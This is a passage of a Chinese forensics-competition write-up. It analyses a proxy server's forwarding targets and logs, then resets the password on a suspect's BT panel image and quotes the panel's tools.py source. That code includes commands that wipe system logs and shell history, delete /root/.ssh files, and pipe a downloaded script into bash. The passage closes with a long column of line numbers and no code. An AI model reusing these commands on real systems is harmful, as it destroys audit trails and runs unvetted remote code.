protocol: 'http:',
host: '192.168.110.112',
port: 80
}
const _proxy100p = {
protocol: 'http:',
host: '192.168.110.113',
port: 80
}
  • 正确的应该是看这个代码,这边有50、100和其他
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var clientIPArr = clientIP.split(".")
if (clientIPArr.length == 4) {
var clientIP3Int = parseInt(clientIPArr[2])
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);
if (clientIP3Int <= 50) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
return _proxy50
} else if (clientIP3Int <= 100) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100));
return _proxy100
} else {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100p));
return _proxy100p
}
}
}
})

题目19

  • 请分析,该服务器转发的目标服务器一共有几台【标准格式:9】

  • 通过第18题不就看到三个ip,也就是转发3台服务器,答案3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const _proxy50 = {
protocol: 'http:',
host: '192.168.110.111',
port: 80
}
const _proxy100 = {
protocol: 'http:',
host: '192.168.110.112',
port: 80
}
const _proxy100p = {
protocol: 'http:',
host: '192.168.110.113',
port: 80
}

题目20

  • 请分析,受害者通讯录被获取时,其设备的IP地址为【标准格式:111.111.111.111】

  • /opt/honglianjingsai/chronusNode/logs这个目录下找到日志,需要找的是2021年4月24日的日志,由前面可以推断得知4.24是案发时间所以,可以得到答案:192.168.110.252

image-20241020201454276

题目21

  • 请分析,受害者的通讯录被窃取之后,经由该服务器转发到了IP为()的服务器上【标准格 式:111.111.111.111】

  • 依然是分析第20题的日志,得到转发到的服务器ip,192.168.110.113

image-20241020201556845

检材3

  • 检材3给的是txt后缀的文件,其实没有txt后缀

image-20241020202121370

  • 用的还是检材1的加密工具,使用Veracrypt解密就行,密码为192.168.110.113-CAB2021,解密和检测1的方法一样,解密挂载后会出现3个附件

image-20241020202341767

  • 复制一份出来,然后再关闭Veracrypt
  • 看到复制的文件都是E01格式,继续挂载

题目22

  • 检材三的原始硬盘的SHA256值为:

  • 这题给了3个文件,但是显然只要算一个文件的sha256,但是由于不知道是哪个文件,我就三个文件的sha256都算了,当然比赛的时候肯定是先跳过,或者边算边做下面的题目

  • 结果算出来是web3的sha256:205C1120874CE0E24ABFB3BB1525ACF330E05111E4AD1D323F3DEE59265306BF

  • 说明web3的这个镜像才是关键的,其他镜像也可以做下面的题目,但是web3有一些日志

  • 这里先挂载web3的镜像,然后使用远程终端进行连接方便操作

题目23*

  • 先挂载个镜像,用虚拟机启动,

  • 请分析第21题中,所指的服务器的开机密码为:

题目24

  • 嫌疑人架设网站使用了宝塔面板,请问面板的登陆用户名为:
  • 使用history命令,发现有宝塔命令,直接使用宝塔命令查看

image-20241021090329647

  • 使用bt命令,直接选择编号14

image-20241021090405041

  • 查看到用户名hl123,所以最后的答案就是:hl123

image-20241021090456474

  • 同时发现内网宝塔面板的地址,这里试一下宝塔的账号和密码,发现密码不对,直接该密码

image-20241021090642102

  • 输入编号5进行重置密码

image-20241021090727218

  • 这样就成功登录

image-20241021090804744

题目25

  • 请分析用于重置宝塔面板密码的函数名为
  • 本题要稍微熟悉一点宝塔以及宝塔的一些文件结构
  • 这些都根目录(不是家目录)中的www/server/panel/tools.py这个py文件中

image-20241021091229007

  • 之前看到简介为5的,直接查找数字5,结果找到如下

image-20241021091959902

  • 所以最后答案set_panel_pwd,记事本中有点bug_显示不出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
#coding: utf-8
# +-------------------------------------------------------------------
# | 宝塔Linux面板
# +-------------------------------------------------------------------
# | Copyright (c) 2015-2099 宝塔软件(http://bt.cn) All rights reserved.
# +-------------------------------------------------------------------
# | Author: hwliang <hwl@bt.cn>
# +-------------------------------------------------------------------

#------------------------------
# 工具箱
#------------------------------
import sys,os
panelPath = '/www/server/panel/'
os.chdir(panelPath)
sys.path.insert(0,panelPath + "class/")
import public,time,json
if sys.version_info[0] == 3: raw_input = input

#设置MySQL密码
def set_mysql_root(password):
import db,os
sql = db.Sql()

root_mysql = '''#!/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
pwd=$1
/etc/init.d/mysqld stop
mysqld_safe --skip-grant-tables&
echo '正在修改密码...';
echo 'The set password...';
sleep 6
m_version=$(cat /www/server/mysql/version.pl|grep -E "(5.1.|5.5.|5.6.|10.0|10.1)")
if [ "$m_version" != "" ];then
mysql -uroot -e "UPDATE mysql.user SET password=PASSWORD('${pwd}') WHERE user='root'";
else
m_version=$(cat /www/server/mysql/version.pl|grep -E "(5.7.|8.0.|10.4.)")
if [ "$m_version" != "" ];then
mysql -uroot -e "FLUSH PRIVILEGES;update mysql.user set authentication_string='' where user='root' and (host='127.0.0.1' or host='localhost');alter user 'root'@'localhost' identified by '${pwd}';alter user 'root'@'127.0.0.1' identified by '${pwd}';FLUSH PRIVILEGES;";
else
mysql -uroot -e "update mysql.user set authentication_string=password('${pwd}') where user='root';"
fi
fi
mysql -uroot -e "FLUSH PRIVILEGES";
pkill -9 mysqld_safe
pkill -9 mysqld
sleep 2
/etc/init.d/mysqld start

echo '==========================================='
echo "root密码成功修改为: ${pwd}"
echo "The root password set ${pwd} successuful"'''

public.writeFile('mysql_root.sh',root_mysql)
os.system("/bin/bash mysql_root.sh " + password)
os.system("rm -f mysql_root.sh")

result = sql.table('config').where('id=?',(1,)).setField('mysql_root',password)
print(result)

#设置面板密码
def set_panel_pwd(password,ncli = False):
import db
sql = db.Sql()
result = sql.table('users').where('id=?',(1,)).setField('password',public.password_salt(public.md5(password),uid=1))
username = sql.table('users').where('id=?',(1,)).getField('username')
if ncli:
print("|-用户名: " + username)
print("|-新密码: " + password)
else:
print(username)

#设置数据库目录
def set_mysql_dir(path):
mysql_dir = '''#!/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
oldDir=`cat /etc/my.cnf |grep 'datadir'|awk '{print $3}'`
newDir=$1
mkdir $newDir
if [ ! -d "${newDir}" ];then
echo 'The specified storage path does not exist!'
exit
fi
echo "Stopping MySQL service..."
/etc/init.d/mysqld stop

echo "Copying files, please wait..."
\cp -r -a $oldDir/* $newDir
chown -R mysql.mysql $newDir
sed -i "s#$oldDir#$newDir#" /etc/my.cnf

echo "Starting MySQL service..."
/etc/init.d/mysqld start
echo ''
echo 'Successful'
echo '---------------------------------------------------------------------'
echo "Has changed the MySQL storage directory to: $newDir"
echo '---------------------------------------------------------------------'
'''

public.writeFile('mysql_dir.sh',mysql_dir)
os.system("/bin/bash mysql_dir.sh " + path)
os.system("rm -f mysql_dir.sh")


#封装
def PackagePanel():
print('========================================================')
print('|-正在清理日志信息...'),
public.M('logs').where('id!=?',(0,)).delete()
print('\t\t\033[1;32m[done]\033[0m')
print('|-正在清理任务历史...'),
public.M('tasks').where('id!=?',(0,)).delete()
print('\t\t\033[1;32m[done]\033[0m')
print('|-正在清理网络监控记录...'),
public.M('network').dbfile('system').where('id!=?',(0,)).delete()
print('\t\033[1;32m[done]\033[0m')
print('|-正在清理CPU监控记录...'),
public.M('cpuio').dbfile('system').where('id!=?',(0,)).delete()
print('\t\033[1;32m[done]\033[0m')
print('|-正在清理磁盘监控记录...'),
public.M('diskio').dbfile('system').where('id!=?',(0,)).delete()
print('\t\033[1;32m[done]\033[0m')
print('|-正在清理IP信息...'),
os.system('rm -f /www/server/panel/data/iplist.txt')
os.system('rm -f /www/server/panel/data/address.pl')
os.system('rm -f /www/server/panel/data/*.login')
os.system('rm -f /www/server/panel/data/domain.conf')
os.system('rm -f /www/server/panel/data/user*')
os.system('rm -f /www/server/panel/data/admin_path.pl')
os.system('rm -f /root/.ssh/*')

print('\t\033[1;32m[done]\033[0m')
print('|-正在清理系统使用痕迹...'),
command = '''cat /dev/null > /var/log/boot.log
cat /dev/null > /var/log/btmp
cat /dev/null > /var/log/cron
cat /dev/null > /var/log/dmesg
cat /dev/null > /var/log/firewalld
cat /dev/null > /var/log/grubby
cat /dev/null > /var/log/lastlog
cat /dev/null > /var/log/mail.info
cat /dev/null > /var/log/maillog
cat /dev/null > /var/log/messages
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/spooler
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/tallylog
cat /dev/null > /var/log/wpa_supplicant.log
cat /dev/null > /var/log/wtmp
cat /dev/null > /var/log/yum.log
history -c
'''
os.system(command)
print('\t\033[1;32m[done]\033[0m')


print("|-请选择用户初始化方式:")
print("="*50)
print(" (1) 访问面板页面时显示初始化页面")
print(" (2) 首次启动时自动随机生成新帐号密码")
print("="*50)
p_input = input("请选择初始化方式(default: 1): ")
print(p_input)
if p_input in [2,'2']:
public.writeFile('/www/server/panel/aliyun.pl',"True")
s_file = '/www/server/panel/install.pl'
if os.path.exists(s_file): os.remove(s_file)
public.M('config').where("id=?",('1',)).setField('status',1)
else:
public.writeFile('/www/server/panel/install.pl',"True")
public.M('config').where("id=?",('1',)).setField('status',0)
port = public.readFile('data/port.pl').strip()
print('========================================================')
print('\033[1;32m|-面板封装成功,请不要再登陆面板做任何其它操作!\033[0m')
if not p_input in [2,'2']:
print('\033[1;41m|-面板初始化地址: http://{SERVERIP}:'+port+'/install\033[0m')
else:
print('\033[1;41m|-获取初始帐号密码命令:bt default \033[0m')

#清空正在执行的任务
def CloseTask():
ncount = public.M('tasks').where('status!=?',(1,)).delete()
os.system("kill `ps -ef |grep 'python panelSafe.pyc'|grep -v grep|grep -v panelExec|awk '{print $2}'`")
os.system("kill `ps -ef |grep 'install_soft.sh'|grep -v grep|grep -v panelExec|awk '{print $2}'`")
os.system('/etc/init.d/bt restart')
print("成功清理 " + int(ncount) + " 个任务!")

#自签证书
def CreateSSL():
import OpenSSL
key = OpenSSL.crypto.PKey()
key.generate_key( OpenSSL.crypto.TYPE_RSA, 2048 )
cert = OpenSSL.crypto.X509()
cert.set_serial_number(0)
cert.get_subject().CN = public.GetLocalIp()
cert.set_issuer(cert.get_subject())
cert.gmtime_adj_notBefore( 0 )
cert.gmtime_adj_notAfter( 10*365*24*60*60 )
cert.set_pubkey( key )
cert.sign( key, 'md5' )
cert_ca = OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)
private_key = OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key)
if len(cert_ca) > 100 and len(private_key) > 100:
public.writeFile('ssl/certificate.pem',cert_ca)
public.writeFile('ssl/privateKey.pem',private_key)
print('success')
return
print('error')

#创建文件
def CreateFiles(path,num):
if not os.path.exists(path): os.system('mkdir -p ' + path)
import time;
for i in range(num):
filename = path + '/' + str(time.time()) + '__' + str(i)
open(path,'w+').close()

#计算文件数量
def GetFilesCount(path):
i=0
for name in os.listdir(path): i += 1
return i


#清理系统垃圾
def ClearSystem():
count = total = 0
tmp_total,tmp_count = ClearMail()
count += tmp_count
total += tmp_total
print('=======================================================================')
tmp_total,tmp_count = ClearSession()
count += tmp_count
total += tmp_total
print('=======================================================================')
tmp_total,tmp_count = ClearOther()
count += tmp_count
total += tmp_total
print('=======================================================================')
print('\033[1;32m|-系统垃圾清理完成,共删除['+str(count)+']个文件,释放磁盘空间['+ToSize(total)+']\033[0m')

#清理邮件日志
def ClearMail():
rpath = '/var/spool'
total = count = 0
import shutil
con = ['cron','anacron','mail']
for d in os.listdir(rpath):
if d in con: continue
dpath = rpath + '/' + d
print('|-正在清理' + dpath + ' ...')
time.sleep(0.2)
num = size = 0
for n in os.listdir(dpath):
filename = dpath + '/' + n
fsize = os.path.getsize(filename)
print('|---['+ToSize(fsize)+'] del ' + filename),
size += fsize
if os.path.isdir(filename):
shutil.rmtree(filename)
else:
os.remove(filename)
print('\t\033[1;32m[OK]\033[0m')
num += 1
print('|-已清理['+dpath+'],删除['+str(num)+']个文件,共释放磁盘空间['+ToSize(size)+']')
total += size
count += num
print('=======================================================================')
print('|-已完成spool的清理,删除['+str(count)+']个文件,共释放磁盘空间['+ToSize(total)+']')
return total,count

#清理php_session文件
def ClearSession():
spath = '/tmp'
total = count = 0
import shutil
print('|-正在清理PHP_SESSION ...')
for d in os.listdir(spath):
if d.find('sess_') == -1: continue
filename = spath + '/' + d
fsize = os.path.getsize(filename)
print('|---['+ToSize(fsize)+'] del ' + filename),
total += fsize
if os.path.isdir(filename):
shutil.rmtree(filename)
else:
os.remove(filename)
print('\t\033[1;32m[OK]\033[0m')
count += 1
print('|-已完成php_session的清理,删除['+str(count)+']个文件,共释放磁盘空间['+ToSize(total)+']')
return total,count

#清空回收站
def ClearRecycle_Bin():
import files
f = files.files()
f.Close_Recycle_bin(None)

#清理其它
def ClearOther():
clearPath = [
{'path':'/www/server/panel','find':'testDisk_'},
{'path':'/www/wwwlogs','find':'log'},
{'path':'/tmp','find':'panelBoot.pl'},
{'path':'/www/server/panel/install','find':'.rpm'},
{'path':'/www/server/panel/install','find':'.zip'},
{'path':'/www/server/panel/install','find':'.gz'}
]

total = count = 0
print('|-正在清理临时文件及网站日志 ...')
for c in clearPath:
for d in os.listdir(c['path']):
if d.find(c['find']) == -1: continue
filename = c['path'] + '/' + d
if os.path.isdir(filename): continue
fsize = os.path.getsize(filename)
print('|---['+ToSize(fsize)+'] del ' + filename),
total += fsize
os.remove(filename)
print('\t\033[1;32m[OK]\033[0m')
count += 1
public.serviceReload()
os.system('sleep 1 && /etc/init.d/bt reload > /dev/null &')
print('|-已完成临时文件及网站日志的清理,删除['+str(count)+']个文件,共释放磁盘空间['+ToSize(total)+']')
return total,count

#关闭普通日志
def CloseLogs():
try:
paths = ['/usr/lib/python2.7/site-packages/web/httpserver.py','/usr/lib/python2.6/site-packages/web/httpserver.py']
for path in paths:
if not os.path.exists(path): continue
hsc = public.readFile(path)
if hsc.find('500 Internal Server Error') != -1: continue
rstr = '''def log(self, status, environ):
if status != '500 Internal Server Error': return;'''
hsc = hsc.replace("def log(self, status, environ):",rstr)
if hsc.find('500 Internal Server Error') == -1: return False
public.writeFile(path,hsc)
except:pass

#字节单位转换
def ToSize(size):
ds = ['b','KB','MB','GB','TB']
for d in ds:
if size < 1024: return str(size)+d
size = size / 1024
return '0b'

#随机面板用户名
def set_panel_username(username = None):
import db
sql = db.Sql()
if username:
if len(username) < 3:
print("|-错误,用户名长度不能少于3位")
return
if username in ['admin','root']:
print("|-错误,不能使用过于简单的用户名")
return

sql.table('users').where('id=?',(1,)).setField('username',username)
print("|-新用户名: %s" % username)
return

username = sql.table('users').where('id=?',(1,)).getField('username')
if username == 'admin':
username = public.GetRandomString(8).lower()
sql.table('users').where('id=?',(1,)).setField('username',username)
print('username: ' + username)

#设定idc
def setup_idc():
try:
panelPath = '/www/server/panel'
filename = panelPath + '/data/o.pl'
if not os.path.exists(filename): return False
o = public.readFile(filename).strip()
c_url = 'http://www.bt.cn/api/idc/get_idc_info_bycode?o=%s' % o
idcInfo = json.loads(public.httpGet(c_url))
if not idcInfo['status']: return False
pFile = panelPath + '/config/config.json'
pInfo = json.loads(public.readFile(pFile))
pInfo['brand'] = idcInfo['msg']['name']
pInfo['product'] = u'与宝塔联合定制版'
public.writeFile(pFile,json.dumps(pInfo))
tFile = panelPath + '/data/title.pl'
titleNew = pInfo['brand'] + u'面板'
if os.path.exists(tFile):
title = public.GetConfigValue('title')
if title == '' or title == '宝塔Linux面板':
public.writeFile(tFile,titleNew)
public.SetConfigValue('title',titleNew)
else:
public.writeFile(tFile,titleNew)
public.SetConfigValue('title',titleNew)
return True
except:pass

#将插件升级到6.0
def update_to6():
print("====================================================")
print("正在升级插件...")
print("====================================================")
download_address = public.get_url()
exlodes = ['gitlab','pm2','mongodb','deployment_jd','logs','docker','beta','btyw']
for pname in os.listdir('plugin/'):
if not os.path.isdir('plugin/' + pname): continue
if pname in exlodes: continue
print("|-正在升级【%s】..." % pname),
download_url = download_address + '/install/plugin/' + pname + '/install.sh'
to_file = '/tmp/%s.sh' % pname
public.downloadFile(download_url,to_file)
os.system('/bin/bash ' + to_file + ' install &> /tmp/plugin_update.log 2>&1')
print(" \033[32m[成功]\033[0m")
print("====================================================")
print("\033[32m所有插件已成功升级到最新!\033[0m")
print("====================================================")

#命令行菜单
def bt_cli(u_input = 0):
raw_tip = "==============================================="
if not u_input:
print("===============宝塔面板命令行==================")
print("(1) 重启面板服务 (8) 改面板端口")
print("(2) 停止面板服务 (9) 清除面板缓存")
print("(3) 启动面板服务 (10) 清除登录限制")
print("(4) 重载面板服务 (11) 取消入口限制")
print("(5) 修改面板密码 (12) 取消域名绑定限制")
print("(6) 修改面板用户名 (13) 取消IP访问限制")
print("(7) 强制修改MySQL密码 (14) 查看面板默认信息")
print("(22) 显示面板错误日志 (15) 清理系统垃圾")
print("(23) 关闭BasicAuth认证 (16) 修复面板(检查错误并更新面板文件到最新版)")
print("(24) 关闭谷歌认证 (17) 设置日志切割是否压缩")
print("(25) 设置是否保存文件历史副本 (18) 设置是否自动备份面板")
print("(0) 取消")
print(raw_tip)
try:
u_input = input("请输入命令编号:")
if sys.version_info[0] == 3: u_input = int(u_input)
except: u_input = 0

nums = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,22,23,24,25]
if not u_input in nums:
print(raw_tip)
print("已取消!")
exit()

print(raw_tip)
print("正在执行(%s)..." % u_input)
print(raw_tip)

if u_input == 1:
os.system("/etc/init.d/bt restart")
elif u_input == 2:
os.system("/etc/init.d/bt stop")
elif u_input == 3:
os.system("/etc/init.d/bt start")
elif u_input == 4:
os.system("/etc/init.d/bt reload")
elif u_input == 5:
if sys.version_info[0] == 2:
input_pwd = raw_input("请输入新的面板密码:")
else:
input_pwd = input("请输入新的面板密码:")
if len(input_pwd.strip()) < 5:
print("|-错误,密码长度不能小于5位")
return
set_panel_pwd(input_pwd.strip(),True)
elif u_input == 6:
if sys.version_info[0] == 2:
input_user = raw_input("请输入新的面板用户名(>3位):")
else:
input_user = input("请输入新的面板用户名(>3位):")
set_panel_username(input_user.strip())
elif u_input == 7:
if sys.version_info[0] == 2:
input_mysql = raw_input("请输入新的MySQL密码:")
else:
input_mysql = input("请输入新的MySQL密码:")
if not input_mysql:
print("|-错误,不能设置空密码")
return

if len(input_mysql) < 8:
print("|-错误,长度不能少于8位")
return

import re
rep = r"^[\w@\._]+$"
if not re.match(rep, input_mysql):
print("|-错误,密码中不能包含特殊符号")
return

print(input_mysql)
set_mysql_root(input_mysql.strip())
elif u_input == 8:
input_port = input("请输入新的面板端口:")
if sys.version_info[0] == 3: input_port = int(input_port)
if not input_port:
print("|-错误,未输入任何有效端口")
return
if input_port in [80,443,21,20,22]:
print("|-错误,请不要使用常用端口作为面板端口")
return
old_port = int(public.readFile('data/port.pl'))
if old_port == input_port:
print("|-错误,与面板当前端口一致,无需修改")
return
if input_port > 65535 or input_port < 1:
print("|-错误,可用端口范围在1-65535之间")
return

is_exists = public.ExecShell("lsof -i:%s|grep LISTEN|grep -v grep" % input_port)
if len(is_exists[0]) > 5:
print("|-错误,指定端口已被其它应用占用")
return

public.writeFile('data/port.pl',str(input_port))
if os.path.exists("/usr/bin/firewall-cmd"):
os.system("firewall-cmd --permanent --zone=public --add-port=%s/tcp" % input_port)
os.system("firewall-cmd --reload")
elif os.path.exists("/etc/sysconfig/iptables"):
os.system("iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport %s -j ACCEPT" % input_port)
os.system("service iptables save")
else:
os.system("ufw allow %s" % input_port)
os.system("ufw reload")
os.system("/etc/init.d/bt reload")
print("|-已将面板端口修改为:%s" % input_port)
print("|-若您的服务器提供商是[阿里云][腾讯云][华为云]或其它开启了[安全组]的服务器,请在安全组放行[%s]端口才能访问面板" % input_port)
elif u_input == 9:
sess_file = '/www/server/panel/data/session'
if os.path.exists(sess_file):
os.system("rm -f {}/*".format(sess_file))
os.system("/etc/init.d/bt reload")
elif u_input == 10:
os.system("/etc/init.d/bt reload")
elif u_input == 11:
auth_file = 'data/admin_path.pl'
if os.path.exists(auth_file): os.remove(auth_file)
os.system("/etc/init.d/bt reload")
print("|-已取消入口限制")
elif u_input == 12:
auth_file = 'data/domain.conf'
if os.path.exists(auth_file): os.remove(auth_file)
os.system("/etc/init.d/bt reload")
print("|-已取消域名访问限制")
elif u_input == 13:
auth_file = 'data/limitip.conf'
if os.path.exists(auth_file): os.remove(auth_file)
os.system("/etc/init.d/bt reload")
print("|-已取消IP访问限制")
elif u_input == 14:
os.system("/etc/init.d/bt default")
elif u_input == 15:
ClearSystem()
elif u_input == 16:
os.system("curl http://download.bt.cn/install/update6.sh|bash")
elif u_input == 17:
l_path = '/www/server/panel/data/log_not_gzip.pl'
if os.path.exists(l_path):
print("|-检测到已关闭gzip压缩功能,正在开启...")
os.remove(l_path)
print("|-已开启gzip压缩")
else:
print("|-检测到已开启gzip压缩功能,正在关闭...")
public.writeFile(l_path,'True')
print("|-已关闭gzip压缩")
elif u_input == 18:
l_path = '/www/server/panel/data/not_auto_backup.pl'
if os.path.exists(l_path):
print("|-检测到已关闭面板自动备份功能,正在开启...")
os.remove(l_path)
print("|-已开启面板自动备份功能")
else:
print("|-检测到已开启面板自动备份功能,正在关闭...")
public.writeFile(l_path,'True')
print("|-已关闭面板自动备份功能")
elif u_input == 22:
os.system('tail -100 /www/server/panel/logs/error.log')
elif u_input == 23:
filename = '/www/server/panel/config/basic_auth.json'
if os.path.exists(filename): os.remove(filename)
os.system('bt reload')
print("|-已关闭BasicAuth认证")
elif u_input == 24:
filename = '/www/server/panel/data/two_step_auth.txt'
if os.path.exists(filename): os.remove(filename)
print("|-已关闭谷歌认证")
elif u_input == 25:
l_path = '/www/server/panel/data/not_file_history.pl'
if os.path.exists(l_path):
print("|-检测到已关闭文件副本功能,正在开启...")
os.remove(l_path)
print("|-已开启文件副本功能")
else:
print("|-检测到已开启文件副本功能,正在关闭...")
public.writeFile(l_path,'True')
print("|-已关闭文件副本功能")



if __name__ == "__main__":
type = sys.argv[1]
if type == 'root':
set_mysql_root(sys.argv[2])
elif type == 'panel':
set_panel_pwd(sys.argv[2])
elif type == 'username':
set_panel_username()
elif type == 'o':
setup_idc()
elif type == 'mysql_dir':
set_mysql_dir(sys.argv[2])
elif type == 'package':
PackagePanel()
elif type == 'ssl':
CreateSSL()
elif type == 'clear':
ClearSystem()
elif type == 'closelog':
CloseLogs()
elif type == 'update_to6':
update_to6()
elif type == "cli":
clinum = 0
if len(sys.argv) > 2: clinum = int(sys.argv[2])
bt_cli(clinum)
else:
print('ERROR: Parameter error')
[root@server panel]#

题目26

  • 请分析宝塔面板登陆密码的加密方式所使用的哈希算法为

  • 题目25的tools.py,找到设置密码的函数,跳转到该函数中set_panel_pwd

  • 发现是md5加密,还加了个盐,所以最后答案md5

image-20241021092426595

题目27

  • 请分析宝塔面板对于其默认用户的密码一共执行了几次上题中的哈希算法
  • 在设置面板密码中出现一次,剩下的并不在tools.py文件中
  • 而是在public文件中,在文件目录/www/server/panel/class/public.py
  • 经过搜索public.py文件中又使用了两次md5加密,所以答案为3

image-20241021093539486

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
